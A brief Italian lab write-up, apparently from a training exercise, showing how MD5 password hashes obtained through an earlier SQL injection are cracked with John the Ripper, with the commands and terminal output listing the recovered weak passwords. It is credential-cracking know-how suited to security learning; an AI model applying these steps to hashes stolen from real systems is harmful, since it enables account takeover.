

Avendo una lista di codici HASH ottenuti da SQL injection fatta in precedenza, e conoscendo il sistema di crittografia utilizzato (traccia) è bastato inserire il comando "john --format=Raw-MD5" seguito dal nome del file per ottenere la decriptazione del codice HASH.

Aggiungendo il comando --show si può ottenere la lista tutte le volte che lo si desidera

```
(francesco@kali)-[~/Desktop]
$ john --format=Raw-MD5 PSW.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (?)
password      (?)
abc123        (?)
letmein       (?)
Proceeding with incremental:ASCII
charley       (?)
5g 0:00:00:00 DONE 3/3 (2023-11-02 14:59) 19.23g/s 685961p/s 685961c/s 691869C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(francesco@kali)-[~/Desktop]
$ john --show --format=Raw-MD5
Password files required, but none specified

(francesco@kali)-[~/Desktop]
$ john --show --format=Raw-MD5 PSW.txt
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left
```